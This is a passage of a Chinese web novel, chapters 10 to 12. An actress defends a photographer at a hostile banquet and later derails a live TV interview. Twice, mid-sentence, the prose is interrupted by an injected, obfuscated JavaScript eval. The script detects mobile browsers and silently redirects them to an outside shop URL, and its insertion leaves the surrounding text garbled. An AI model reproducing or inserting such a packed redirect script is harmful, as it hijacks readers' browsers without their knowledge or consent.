就这样不过眨眼功夫，红的，黄的，白的，啤的，各式各样酒杯，陆续推至段方禹面前。 满满几排，堆满汉白玉大理石桌，灯影晃过，流光潋滟。 棒球帽盖不住的半张脸，暴露在包厢艳丽浮靡的彩灯下，也暴露在一众心怀鬼胎，虎视眈眈的注视里，眼见骑虎难下，却从头到尾平静，没有半点想象中，该有的局促不安。 高鹏飞也没料到，事情发展会脱离轨道成这个走向，顿时对段方禹心存内疚。 他赶紧端起酒杯，站起来，想打圆场，“哎一个人喝多没意思，来来，大家一起喝。” 然郭旭杰一个眼皮抬起，马上有人代替举臂，将他按回座位。 光怪陆离的中心，背靠德国进口牛皮沙发，郭旭杰衣冠楚楚，胳膊半搭在交叠的腿上，另只手，摇晃盛装威士忌的古典酒杯。 冰块碰撞，发出兵戈脆响。 “听起来，倒像我们一众强人所难了，不过来都来了，玩不起，但起码进门的礼貌总该有吧。” 他懒懒抬眉，继续说，“要么，他把面前这些酒喝了，要么——” “自己摘掉帽子。” 不容抗拒的语气，显然打算针对段方禹到底。 高鹏飞本还莫名其妙，直至此刻，才后知后觉。 道歉也是，喝酒也好，摘帽子也罢，具体如何恐怕不重要，真正重要的，是要借此，给他们这边下马威。 难怪此番他这么容易请来郭旭杰，原以为自己未雨绸缪，将段方禹推出来社交，好同他们牵线，提前打通媒体关系，为之后的综艺造势…… 未曾想螳螂捕蝉黄雀在后。 分明有人早另做局，想借机给段方禹和郑希音难堪。 能将两人同时记恨上的，想来想去，只有李永南了。 最近听说，李永南和郭旭杰母氏百跃集团正在洽谈合作，原以为捕风捉影，如今，怕要坐实了。 照如此，其中的人情和利害关系，不言而喻。 偏偏郑希音今日未到场，由郭旭杰带头的公子哥们无奈，只能将攻势集中于段方禹一人。 高鹏飞本还想着，此番郑希音这个姑奶奶缺席算大好事，毕竟以她那狗脾气，指不定又惹出多少麻烦，所以才未像往常逼迫催促她。 万没料到啊，聪明反被聪明误，反将羊送虎口了。 想通这些，高鹏飞后悔莫及，但为时已晚。 所谓请佛容易送佛难，职场里最忌讳的，就是凡事撕破脸，因此打了打不了，驳也驳不得。 或许也因清楚这些，所以僵持良久，碍于在场同僚和高鹏飞的面子，段方禹才会冷漠无言起身。 最终选择了执起酒杯。 眼看杯沿就要贴上唇瓣，这时蓦地，不知从何出现一只手，将它打翻在地。 且伴随一道无比清甜的嗓音—— “啊呀，手滑。” 10. 第 10 章 姗姗来迟的郑希音，一经出现，便自然而然成为焦点中的焦点。 没人参透其中道理，但毋庸置疑，她就是有这样的本事。 卸去华丽舞台妆容后的她，浓颜淡抹，自然素净，法式编发盘在头顶，一身丝绸黑色露肩礼裙，不规则褶边裙摆，水波般荡漾在膝盖之上，优雅得体，腰间两侧镂空设计，又不失妩媚性感。 衬着包厢内绚烂的光，恰到好处的顾盼生姿，摇曳多情。 “玩什么呢，这么热闹。” 酒杯摔烂，地板上玻璃渣晶莹细碎，她高跟鞋一脚碾过，像碾过某人高高在上的脸面。 从段方禹侧后绕出，郑希音就这样自然走进聚光灯的中央。 旁边高鹏飞自知理亏地躲避视线，不仅主动让位，更趁招呼服务员清扫的机会，暂且逃离。 她眼皮轻抬，觑了眼身前大理石桌面，那整整齐齐摆放的酒杯。 在场都是人精，类似这样的酒局，郑希音早已身经百炼，又怎可能看不明白。 正对着，寸头男流里流气打量她，不怀好意抢答，“替你罚酒呢，大明星姗姗来迟，反把我们这些庆贺的客人晾在这里，不得意思意思啊！” “替我？”眼波随她话音流转，傲慢且慵懒对上身侧，段方禹静静凝望的视线。 郑希音轻轻嗤笑，“就凭他？” 像意有所指，她马上又道：“喝酒这种事，当然要亲自来，才有意思~~” 白皙透明的指尖，在五颜六色的玻璃杯沿划过，倏而，端起最大最满的一杯，送到唇边。 一时口哨声、吆喝声四起，在场无不高呼，为她的爽快干脆。 唯独翘腿窝在沙发C位的郭旭杰，暗暗冷了脸色，“想喝可以，但你刚来，就打翻我特意倒给——” 似记不住名字，也不屑记住名字。 郭旭杰停顿，点点下巴示意段方禹，才继续说：“倒给他的酒，怎么说，你都要照例赔我一杯，不是？” 言下之意，郑希音这第一杯，得先敬他。 如此，算得火味十足的正式叫板了，所有人面面相望，识趣禁言，抱臂上观。 没想郑希音今日是不是吃对药，竟一改往日疯癫，真就手中酒杯乖乖喝下。 一滴不剩的杯口向下扣了扣，在郭旭杰面带胜利的得意里，她才慢悠悠放下，嘴里不忘点评一句，“这庆功宴的酒，真是越来越难喝了。” 众人小眼神纷纷上瞟，直瞅郭旭杰维系不到两秒的脸色，胀红像猪肝。 一位公子哥好不容易忍了笑，赶紧跳出来，帮衬喊道：“别停啊，还有迟到自罚的呢。” 轻轻点晃脑袋，郑希音勾唇含笑，当真再抬手。 只是这回不像方才那样干脆，反慢条斯理地指尖跳舞般，游曳在水光斑斓的酒杯中央，挑选起来。 玫瑰干红，起泡白葡萄，浓烈威士忌，日出龙舌兰，蓝宝石金汤力，还有特调夏威夷朗姆，等等…… 截然不同的六七种颜色，全被她囫囵倒入空出的酒杯中，如深水炸弹。 开始纷彩渐变的液体，不需多搅拌，慢慢，就被浸染地浑浊不堪。 一如郭旭杰眉头逐渐卷起的丑态，“你这什么意思？” 郑希音轻飘飘端起酒杯，冲其冷笑，“不是要罚酒迟到嘛，那不如，连早退的一起算上。” 说完，再度一饮而尽。 尔后空酒杯重重放下，磕在大理石桌边缘。 众人皆目瞪口呆眼看着，未明白何意，下一秒，郑希音已然拽起段方禹的胳膊，招呼不打转身就走。 决绝傲慢地，像个女王。 高鹏飞跟在服务员后面推门，刚进包厢，迎面撞上她拉着段方禹貌似先行离开的模样，正糊里糊涂。 就听那头郭旭杰猛然站起，提声质问，“郑希音，你竟敢无视我！” 不喊这句还罢，他一旦喊出，配和郑希音压根无动于衷向前的步伐，倒成了自取其辱，啪啪打脸。 众多暗笑的围观中，郭旭杰更忍不下去了，气急败坏。 他急急朝外迈腿，想拦住他们，却刚好被前来清扫的中年女服务生挡路。 索性撒气般，他踹脚狠踢，“滚开，死老太婆。” 快要走出门的郑希音，背对场面，却在这一刹那，蓦地止步。 被她紧抓的胳膊忽而松开，段方禹微微一愣，目光深沉望向她的侧脸，只见那如血鲜红的唇畔，闪过一丝诡异冷笑。 她忽转回头，高跟鞋敲击地板，迈出气势如虹的几个步伐。 还以为被自己气势折服，使其去而又返，郭旭杰刚想嘲讽几句，“你还知道——” 飘出的半个音节，猝然断在大泼从天而降的红酒里。 耳边顿时浮起不小惊呼。 冰冷酒水从头顶哗啦垂落，顺发丝滴滴答答，将一身昂贵的意大利手工衬衫浸毁得惨不忍睹，郭旭杰不敢置信抬头，好不容易睁开眼。 脆生生的两个耳光，又毫无缝隙接踵而至。 打得他彻底失去反应。 所有人瞠目结舌注视这幕，连喘息都变得小心翼翼，像被某种无言的惊撼掐住喉咙。 直至火辣辣的痛感从脸颊升至脑壳，郭旭杰才清醒过来自己遭遇了什么，先不敢置信笑了笑，转头破口怒骂，就朝郑希音疯狂袭去。 身后公子哥们为防出事，眼疾手快抱住他。 挣扎的混乱中，一个不防，郑希音还是被猛力撞倒。 眼见此景，高鹏飞早已头疼地放弃讲和，急忙冲到右侧，将郑希音搀起。 所谓关心则乱，越是情急，越容易忽略周身情况，直至站起身，他才发现空中飞来的酒瓶，竟直直冲她脑门—— 惊魂刹那，幸好侧后方有人用胳膊挡了下。 轨迹当即倾斜，酒瓶撞上旁边大理石柜台的柱角，玻璃碎渣四处飞溅。 某一片，擦过郑希音白瓷样的脖颈。 鲜红血液很快渗出，一条蜿蜒的轨迹，衬着如雪肌肤，浓重而诡艳。 然这般不痛不痒的报复，对郭旭杰来说显然是不解气的，如若不是被人拦着，更残忍的手段，他都可能奉陪到底。 即使这般，相比高鹏飞和旁人的大呼小叫，郑希音依旧泰然自若，仿佛根本上事不关己，也不觉得自己惹了什么麻烦。 众目睽睽下，她默默掏出手机，按下几个数字，然后点开扩音。 电话瞬间接通—— 她红唇翕动，“喂，110吗，我要报警……” “你疯了吗！”高鹏飞简直快被吓尿了。 他慌忙压着嗓子喊，抬手想堵住音筒，却被郑希音看准躲开。 一贯温声细语的语调，像玩笑，可她眼中深色，却比任何时候都要认真，“哦不，是我打了人，调解？可怎么办呢，对方好像没有调解的意愿，我也没有。” “嗯在哪，叫什么名字啊……” 她抬起冰冷的双眸，稍稍停顿，望向对面脸色渐灰的郭旭杰。 手机适时被人一把抢了去。 公子哥们显然也没料到，郑希音发起疯当真不管不顾，要知道，这事若真闹到警局，登闻见报的话，对在场无论哪方都毫无益处。 毕竟都是群靠名誉过活的人，对他们来说，有时背后名誉远比个人尊严更重要。 于是此番一个个联合起来，直接代替郭旭杰选择，按断通话。 “我看还是调解吧。” “对啊算了，没必要跟女人一般见识。” “还要绕路去警局，可太麻烦了。” ...... 自己人都把话说到这儿份上，这台阶，郭旭杰不下也得下。 更何况气愤归气愤，其中利害关系他还是晓得的，这事若真闹大了，丢的更多是他自己的脸面。 郑希音这招，看似伤敌八百自损一千，实则以进为退，当真耍得高明。 即使千万个不服，郭旭杰现下也只能憋着。 好戏落幕，就在对方趾高气扬快要跨出门外时，他才没忍住，手指过来，“郑希音，这个仇，你给我等着！” 无动于衷拉门，郑希音最后回头，施予一笑。 “那可千万不要让我失望。” — 段方禹绕偌大的会所两圈，终于，在一处幽寂的内庭偏角找到她。 背靠灯光暗靡的走廊，四面醉金色玻璃墙，浮华的虚影交叉重叠，又支离破碎，郑希音左手夹烟，凑近右手翻盖的打火机。 可恨，怎么也打不着火。 听到脚步声靠近，她才略显迷醉地抬起头，眉眼轻睨，“你怎么还在这。” 非疑问的陈述，缺乏好奇，倒夹带几分不胜其烦。 段方禹没有回答，眼神不动声色掠过她面容，而朝她头顶上，那方明令禁止的标牌扫了眼。 他说：“这里是禁烟区。” 轻嗤一声，夹着烟的手指落下，郑希音红唇翕合，端的肆意张扬，“我呢，现在心情实在不佳，如果你不是来递火的，就赶紧滚远点。” 心情不佳…… 是因为郭旭杰故意针对挑衅，还是因为后来，他口中“死老太婆”那句话？ 郑希音冷眼瞄准他，“讲重点。” 段方禹于是问：“为什么突然发火？” 郑希音冷冷嗤笑一声，骨头懒散背靠墙壁，表情像不可思议，“发火还需要理由吗，我不是向来如此，你以为你是谁，有什么资格站在这里，来问我这句话？” 慵懒而不乏冰冷的语气，仿若疲于应付和伪装后，赤裸裸的驱赶与不耐。 所以，这才是她的真面目吗？ 就像台上台下的一场盛大变妆，卸去惯于调笑的假面，彻底暴露性格底色的傲慢，随心所欲，以及不近人情。 果然，明知不该问，却因一时情绪干扰，他还是不自量力地逾矩了。 默了须臾，段方禹才缓缓开口，“我是要走的。” 但在那之前，他突然伸手，往外衣口袋里掏了掏。 郑希音微微讶异，还以为他真能掏出打火机来—— 结果细瞧，居然是瓶迷你碘酒和棉签时，差点没绷住表情。 额外带出一片口香糖，被他顺手塞了回去。 听说许多戒过烟的人，为抗衡后来的戒断反应，都会有类似习惯，随身携带着口香糖。 郑希音不禁挑眉，问：“你从哪弄来这些东西？” “前台。”段方禹伸手，将伤药朝她递去。 对方却迟迟不接。 他无奈提醒，“如果不及时处理，伤口会留疤。” “可这里这么暗，伤口在脖颈，我又看不见。” 郑希音懒洋洋抱手，轻抬眼皮睨他，挑逗的意图明显，“不如，你帮我涂好了。” 段方禹自然没搭理。 他想将东西强塞过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958034|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，却发现，她早早抱起手的故意。 四目相对，静默无声刹那，他也知道，自己其实有很多选择，比如，完全可以将药交给其他人代替，亦或毫不在意转身就走。 但为何，最后还是选择了最糟糕的一种。 段方禹想不明白，只觉得，那抹深暗的血红，一直隐隐让他刺目。 就当还方才替他挡酒的人情好了，如此扯平，下不为例，他这么告诉自己。 冰冰凉凉的液体猝然贴上脖颈，伴随些许酒精的气味，算不上疼，只是难免发痒。 郑希音略微诧异，没想这次，他这么好说话。 转头，目视段方禹因动作缓缓垂下的脑袋，她眼珠不由溜转，盯住他逐渐贴近的面容。 大抵还是第一次，这么近的，看清他整张脸。 走廊纸醉金迷的光略显暗淡，但仍挡不住棒球帽下，他棱角分明的轮廓，骨感十足的线条，以及那双深邃更有层次的眼睛…… 反为整张脸突出的立体，增添几分柔华而又浮靡的氛围感。 段方禹不是没察觉，那双紧紧烙在他面容的视线。 喉咙不自觉滚了滚，他一面不动声色问，“看什么？” “看你这张脸啊，”郑希音笑了笑，“果然，还是遮起来的好。” “？” “不然也够惹是生非的。” 只当是玩笑，听听便罢，段方禹继续安静上药。 耐不住郑希音发现什么新趣味似的，越发凑近他，不停说话。 温热气息刚好流窜在他耳廓，像发丝拂过心口的微痒。 “外界都在传你被我潜规则了呢，若给他们看到这一幕，恐怕十张嘴也解释不清，最后你和我啊，只能假戏真做了。” 正常人这时难免无语。 段方禹不接，是因为知道即使他不张口，郑希音也还会说下去。 果然，等了几秒，“你难道就一点不好奇？” 他按着棉签的手不易察觉放缓，像随口一说，“好奇什么。” 郑希音淡笑，继续慵懒的语调，“不好奇为什么是你，为什么我要用全部的筹码交换你，为什么让你走，现在又改变主意。” 段方禹闻言顿了顿，须臾，才回，“各取所需而已，问与不问，有什么分别。” 就像他看中的是那些筹码，而她需要的，不过一个借口。 即使不是他，也还会有别人，还会有千千万万个段方禹，好奇太多徒生烦恼，若不问，他们便永远只是简明单纯的合作体。 所以，他稍稍抬眸，“你说的那些，我并不在意。” 四目相对，这一刻，未出口的话，彼此心知肚明。 郑希音挑起一侧眉骨，觑眸浅笑着，仿佛对他这股子冷情冷性的劲儿，越看越满意。 半晌只道：“哦？你确定不在意，而非不好奇？” 他不自觉谨慎，“有什么区别？” 她挑起迷醉的眼，“你该先回答我才是。” 好奇吗？也许吧。 于是他肯定说：“不在意。” “这样啊，”郑希音听及此，蓦地笑了，“可若没记错，你前头还问我为什么发火，岂不是说明，你对我——” “已经十分在意？” 刚好上完药，段方禹半路手一抖，棉签掉到地上。 “......” 请君入瓮，徐徐图之，倒真让人防不胜防。 明白她故意断章取义，实为调戏，段方禹无话可说，若无其事弯腰捡起地上棉签，扔进垃圾桶，然后将碘酒封盖上。 郑希音随其动作自然滑落的视线，这才刚好，擦过他右手手背。 一道同样刺眼的深红。 本来展放的笑容一点点收敛，逐渐变了表情。 室内那会儿，段方禹用胳膊替她挡酒瓶，不过刹那的事，郑希音没想他负伤之后，还能这般平静的当做什么都没发生。 突然被她牢牢抓住右手心，段方禹愣住了。 她目光灼灼盯着他，意有所指，“既然已经决定要合作，某些事，当然有来有往才对。” 段方禹极不自然抽手，说：“不必。” 郑希音不放：“可我一向最讲合约精神，现在想毁约的话，已经晚了。所以往后没有我的同意，不能随意消失，因为从现在起反过来，你的二十四小时，都得归我。” 原来，她指的是这件事。 段方禹这才明白，能说出这番话，想必相机里的视频，她都看过了。 所以那个赌算他赢了。 可为何现在，反有种赌输了的感觉。 “你是故意的。” 她笑，“这是哪里话，我分明给过你机会，是你自己不走的。” 无论这一次，还是上一次。 理所当然翘起睫毛，当着他面，郑希音魔术般摸出片口香糖，撕开，塞进嘴里咀嚼。 清清甜甜，西柚味的。 段方禹立刻诧异去摸口袋，果然，空了。 她什么时候顺走的，他竟然，一点都不曾察觉。 鸦黑的睫羽下叠，段方禹缓缓摇了摇头，似乎难掩种由内而外的无力挫败，半晌，低低喃道，“这就叫自食其果吧。” 郑希音不禁暗笑，慵懒地背靠墙壁，“那自食其果的味道，你还想尝尝吗？” 说完，她卷起粉嫩舌尖，挑逗无疑地冲他，吹起一个泡泡。 11. 第 11 章 庆功宴上，郑希音得罪媒体公子郭旭杰的消息，虽未闹到明面，却于业内小道不胫而走。 后果可想而知。 那日离开时，郭旭杰信誓旦旦说让她等着，然近一周下来，媒体方面无半点风吹草动，吐槽郑希音的黑稿，依旧是陈芝麻烂谷子的那几篇，连个创新都没有。 反而网络上铺天盖地的，全是对话剧《巴黎圣母院》的口碑宣发。 高鹏飞夜以继日惴惴不安的心，慢慢，终于落得踏实。 私下里，更憋不住了似的，他开始逢人吐槽，“真高看他了，什么‘媒体公子’，实际也就那样。” 这般自说自话多了，连自己都信，难免得意忘形。 这不，才静默观察没几日，高鹏飞立马重装上阵，趁话剧口碑发酵的热度，亲力亲为把郑希音往媒体面前推。 不仅每天催促综艺时效，还将她接下来的通告，安排的满满当当。 一档直播访谈节目就这样被提上日程。 据传这档业界闻名的访谈节目，背后有官方撑腰，平时只各行大咖有资格被邀请。 话剧导演冯青特别利用人脉，与其敲定合作，专为此番话剧拍摄的台前幕后，打造一期演员专访，原想未雨绸缪，为后续的话剧巡演造势。 而如今，趁庆功宴之事暂未东窗事发，上了节目，他们还能率先把握舆论主动权，防止郭旭杰代表的媒体方面恶意报复，倒算两全其美了。 作为罪魁祸首和重要主演的郑希音，自然没理由拒绝。 “诶诶，听说了吗，郑希音要直播了！” “真的假的！直播什么，广告带货，宣传话剧，还是澄清绯闻？” “哪呀，网上传是有关话剧的专题访谈，但怎么说这都是她绯闻爆发以来，首次在媒体前露面，肯定逃不过被八卦的吧。” “也对哦，那我要蹲！我要蹲！” “还没说哪个节目呢？” “我知道，姑姑有约！” “得嘞。” ...... 话剧方与电视台双向官宣的下午，类似以上对话，便像阵风，游走淹没大街小巷。 很快，姑姑有约的节目预约量，就冲破了半年以来最高记录。 — 五日后，姑姑有约的直播录制现场。 距离开播剩不到三分钟。 候场区，节目总编导胡佳成，一边最后嘱咐工作人员检查设备，一边不忘对主持人Linda以及内容编辑等，再度郑重而悄声交代—— “记住，这可是继绯闻后郑希音首次公开媒采，我们占据了独家和首发优势，能不能大爆，就看今天了！错过这回，大家的年终和旅假就全泡汤了，所以无论如何，都必须给我挖出点料来！” 一位编辑错过他之前发言，此刻暗暗举手，“可是合约……” 被胡佳成毫不留情怼了回去，“现在又不比以前，流量为王的时代，合约重要还是热度重要？” 稍缓语气，胡佳成十分谨慎瞄了眼候场区那头待机准备的郑希音团队，以及男主演游朝的团队。 避开麦克风，他低声做最后强调，“总之，听我的就对了，八个字：收放自如，灵活变通。” ...... 隔着繁杂布设和机器的候场区另边。 “姑奶奶哟你放心，这回我保证都沟通好了，只聊话剧不涉隐私，合约里白纸黑字写着呢，更何况由冯导亲自牵线，专访绝对安全。” “具体问题呢？” “全都提前对过了！只要你按我给的答案背好，不另辟蹊径，我就谢天谢地了。” 怕她不信，电话那头，高鹏飞忙碌开会的间隙，半个身子压入会议桌下，语气恳切，只差没举起手发誓。 化妆师最后检查妆容，道了句OK，郑希音懒懒掀起眼皮，米燕秒懂地按掉电话。 很快直播间的摄影灯全部打亮。 将手中写满答案的小抄本扔还给米燕，在主持人高呼声里，郑希音和游朝各自按顺序，走上大屏幕前的沙发台。 访谈开始即正式直播，首先惯常暖场。 高鹏飞所言不虚，从第一个破冰问题开始，就完全按照剧本，一字不差。 而郑希音的回答也堪称教科书标准，配合她招牌式的微笑，总体氛围可谓顺顺利利，和乐融融。 她难得乖顺地配合营业，实在所见不多。 望着侧前方言笑晏晏的郑希音，米燕便有种久违的、说不出的奇怪，“怎么感觉……哪里别扭，你不觉得吗？” 被问到的人，久久未答。 索性米燕也只当自言自语，没多在意，半晌，才听得身旁蹦出句—— “镜头前的她，假得很真实。” 这形容…… 米燕不由朝身侧瞥去。 就瞧段方禹虚隐在帽檐下的眼睛，对上她暗暗奇异又不乏赞同的表情，顿怔两秒，才有种后知后觉，把内心旁白说出口的唐突。 随即他掩饰尴尬般，就朝边角拐去。 米燕连忙叫问，“你去哪？” 他回：“这里人太多了。” “可希音姐让你在这里等她。”米燕急急提醒，生怕等会儿找不到人，闹出什么乱子，成了她的罪过。 不知是不是回想起什么，又或听得出她语气里的无奈，段方禹到底停止挪动。 此次碍于场地特殊，本身又是直播性质，现场的专业摄影和工作人员远比平时多，因此段方禹并未像往常携带相机参与拍摄，只远远看着。 左手边布满各种器材和影灯，右边则是编辑、场控以及导播等等，人员前前后后忙碌，指挥。 他一个外人夹在其中，难免显得多余。 “麻烦让一让啊，让一让。” “这人谁啊？” “不知道，好像跟郑希音一起来的。” “司机吧，不去外面等着，杵在这多碍事啊。” “就是说呢。” ...... 交头接耳的议论在话筒强声掩盖中，明目张胆进行，在又一次不经意撞开段方禹而没有丝毫道歉的情况下，被米燕听了去。 她刚想斥责几句，却被段方禹主动拦下。 后者摇了摇头，显然想大事化小。 米燕心里清楚，那些狗眼看人低的工作人员，对她态度客气，只因都清楚她是郑希音的贴身助理，而郑希音又是怎样的脾气，众所皆知。 可段方禹就不一样了，这里几乎没人认识他…… 虽不知发生过什么，但米燕看得明白，自那日庆功宴后，郑希音和段方禹间似乎达成某种共识，每每赶通告，只要她出现，身旁必定有段方禹的影子。 高鹏飞在场时，也会为他打好招呼，现场人员即使不解，也会客气三分。 记录和拍摄vlog成为段方禹的日常工作，毕竟话剧首演告一段落，巡演能否敲定还未可知，空出的这段闲暇，综艺迟早要被提上日程。 这番未雨绸缪，米燕毫无疑义，但她稍微不解的是，迄今为止综艺连个选题都没有，他这般兢兢业业拍摄，到底有什么用？ 有一次她没忍住好奇，问了嘴，记得段方禹这样回答—— “想要体现一个人最真最美的模样，首先摄影师自身镜头，需要足够熟悉和了解那个人，拍摄如此，综艺亦如此。” 事实上，段方禹不仅这么想，也一直努力在这么做。 与其说这些时日里，郑希音以赌约的名义强迫他24小时待命，出席类似场合，倒不如说，也是他乐见其成的一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958035|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择。 因为在段方禹看来，只有前进才能更快结束，逃避永远适得其反。 但眼下，因无法证明自身价值和身份而被嫌弃针对，除了逃避好像别无他法，毕竟在别人的主场。 气不过，米燕同样束手无策，只能迂回考虑同他换个位置，尽量帮忙挡点，她刚要开口—— 与此同时的直播台上，主持人恰巧问到一个问题。 怎料郑希音迟迟不答。 “希音，希音？”主持人Linda又连唤两声，依旧没得到回应。 无奈之下，她只好尴尬而不失微笑地面朝镜头，自圆其说，“看来我刚刚的问题，问到了关键，所以需要一些时间思考啊。” 而摄影机画面里，所谓陷入思考的郑希音，只见胳膊肘抵在右膝盖，一手悠悠然反撑住下巴，她身体面朝主持，头却微微偏斜，貌似正盯着分镜头出神。 现场人员但凡仔细观察，不难发现，她的眼睛一改方才清和含笑，莫明泛冷，分明越过摄影镜头，定定凝望台下某个方向。 不知已经多久。 还处在状况之外的米燕，愣愣环顾一圈，顺延郑希音的视线，她侧头瞥了瞥段方禹，又瞄了瞄台上郑希音的眼神—— 顿时心里一“咯噔”。 隐约磕到了的同时，又浮生不好的预感，估摸方才发生的那些，全都被她看见了…… 前方台上，郑希音依旧保持那样姿势和沉默，渐渐地，也让偌大场地跌入无比诡异的安静。 要知道，这可是现场直播！但凡超过20秒的停顿，都算得上大型播出事故了！ 就在编导胡佳成紧皱眉头，挨不住要干涉的时候—— 不知是不是故意，郑希音恰好卡在20秒的时间点上，佯装回神，嘴里散漫吐出句，“不好意思，你刚问了什么，我没听清。” 不愧为多年主持，Linda不漏痕迹体面笑了笑，像什么都没发生过，立即重复，“许多粉丝都留言夸赞你和游朝在舞台上配合默契，尤其有场跌倒的戏，让观众们印象深刻……” “那不知除开表演，两位现实生活中，有没有碰撞出别样火花呢？” 这问题…… 不对呀，怎么突然扯到演员感情上呢？ 米燕连忙翻了翻手里小抄本，果不其然，同预设问题完全不一样了。 好哇，居然使诈！故意挑选采访的中途，主打一个出其不意是吧，幸亏她们团队也不是吃素的！ 论一个优秀助理的专业素养—— 米燕当即从候场区工具箱里，抢过应急专用的空白题板和马克笔，按照官方常用回避托词，快速将答案简写，然后背开镜头，直面郑希音高举。 鸦黑人群里，一眼瞅见那白板黑字，郑希音轻轻挑眉，眉眼不禁染上浅淡笑意。 她扫了眼题板，随后缓缓启唇，却道了句—— “他有女朋友的，主持人你不是早知道嘛。” 短短一句话飘过，却像个炸弹，炸的直播间有些猝不及防。 旁边游朝瞪眼：“？” 对面Linda咂舌：“？” 就连米燕也：“？” 唯独直播弹幕上的网友留言，似被洪水冲塌房的蚂蚁，刹那间层出不穷。 游朝的唯粉一号惊呼：什么鬼？破大防了！！！ 唯粉二号：蹲了这么久，想看别家笑话，结果竟被自家背刺！ 唯粉三号头顶悲催：还以为是两个人（游朝与粉丝）的电影，没想到是三个人的直播，真嫂子估计正盯着屏幕偷笑呢吧。 唯粉四号话接楼上：就是！这叫个什么瓜啊（哭唧唧）...... 底下看热闹不嫌事大的路人网友，则贱嗖嗖冒了个泡—— 这叫雨你无瓜。 12. 第 12 章 此时此刻的直播现场，众人表情一言难尽。 面对镜头坐在沙发的游朝，表面温润，实际内心早已狂啸。 他掐了好几遍大腿，才忍住没对郑希音当场爆粗口：这TM爆的哪门子料！祸水东引是吧，好啊，给老子等着！ 主持Linda则郁闷大过气愤：这八卦她压根没听过好嘛，她要实名举报，郑希音乱造谣！ 相较之下，米燕倒有种习以为常、耐受之后的别样平静—— 果然千防万防，防不住郑希音自己，不按题板出牌。 导播室里，胡佳成也没想到郑希音的料没挖着，反钓出点有的没的，但不失为一个继续深挖的绝佳机会。 他连忙朝总台说了什么，传进主持人耳麦，Linda迅速调整状态，脸笑皮不笑，接着前面的话，“隐隐约约是有听说啦，但我以为，那个人指的是你……” 既然话题到这，转移视线也好，激发热度也罢，少不了围绕游朝“真女友”溜达几圈。 直到扛不住镜头压力和Linda的连番攻击，游朝最后被逼无奈，招了个干净，采访的矛头才重新转回郑希音。 Linda笑：“如此说来，两位的默契，当真只是基于单纯的合作关系？” 郑希音眼皮一掀，慵懒反问：“不然呢？” 游朝这时凉飕飕瞥了眼她，表情有种被拉下水且破罐子破摔后，准备同归于尽的疯狂，“呵，要论真默契，自然比不上她和某位前辈。” 嘲讽十足的回答，让人难以分辨其中醋味多点，还是报复性的意味更多一点。 郑希音闻声回眸，四目冷对，这一刻火花四溅。 近距离目睹这一景况的Linda，表情不动声色，实际心底乐开花。 原本只她单枪匹马的游击，现下好了，被郑希音成功作成了她和游朝两个人的组合战。 而在胡佳成催促下，Linda正愁缺乏一个可以撬开郑希音绯闻的契机—— “那事实是否真如两位所言呢？不如接下来，我们进行一个好友连线环节，两位做好准备了吗？” “？！” 此话一出，不仅两位嘉宾头顶问号，连各自团队都如遭雷劈。 虽然节目组事前隐晦提起，需两位团队提供业内好友联系方式，可能作为彩蛋，但当时并未明确说明用途，合约里更只字未提，他们便理所当然认为，最多录个好友加油视频，走走形式罢了。 万万没想到，好友连线？开什么国际玩笑！ 就拿郑希音那狗脾气来说，平日里不得罪人就谢天谢地了，还哪来什么好友！ 这不活生生当场社死嘛！ 米燕揣着题板的胳膊僵垂，对于早前滥竽充数提交的号码，正急的团团转，不知如何是好，下一秒，工作人员将号码递到郑希音面前，请求再次确认。 郑希音毫不犹豫点点头。 段方禹偶然侧目，就瞧米燕嘴巴大张朝向直播台，头顶满排问号。 主持Linda顺势瞥了眼郑希音手里号码，结果神秘莫测笑了笑，转而冲游朝，问道：“游演员是打算连线女朋友吗？” 什么意思？这般指向明确的提问，再配合她的表情，该不会…… 郑希音又故技重施，先下手为强了吧？ 游朝本就心生怨怼，顿时更咬牙切齿，连起初电话也推翻，“我改主意了，若论业内好友，我现在有个更绝佳的人选。” Linda：“哦，是谁？” 游朝沉吟几秒，故意吊足观众胃口，“嗯，这个人，想必大家都认识……” 尔后，他缓缓抬眼面朝镜头，不怀好意深笑，“那就是孟凡文。” “......” 直播弹幕里的气氛，在这刹那，出现异常罕见的诡异波动。 具象为图形模式，那就是尸体般沉寂的死亡直线后，涌出大片大片曲线离奇、而又绚烂激涌的烟花。 眼瞅陡然拔升的话题热度，导播室内，胡佳成高呼一声“YES!” Linda亦喜笑颜开，“好的，那不耽误时间，接下来，就让我们马上视频连线电影小生——孟凡文！” 配合主她高亢的尾音拖长，一声“哐当——” 米燕手里的题板彻底摔落地上。 完了！ 这下真是完蛋了！ — 孟凡文接到电视台视频来电时，正在家中百无聊赖吃着下午茶，一边观看郑希音直播。 要论各大电影节紧锣密鼓的当下，他为何能拥有独一份的闲暇？ 归根究底，还不全拜郑希音所赐。 自两人绯闻炒至今日，差不多四月有余，中途那个杀千刀的名叫“孟凡文正牌女友061”的微博网民跳出爆料，抛下“出轨”和“知三当三”的矛头冲他和郑希音，引发全网热议后，自己却完完美美隐了身。 舆论持续发酵，虽万分庆幸的是炮火主力并未集中于他，但到底，孟凡文难逃自家粉丝的诘问与痛诉。 很多次，他都忍不住想冲到镜头前辩白，被经纪公司强硬制止后，一再主张采取消极回避的方式。 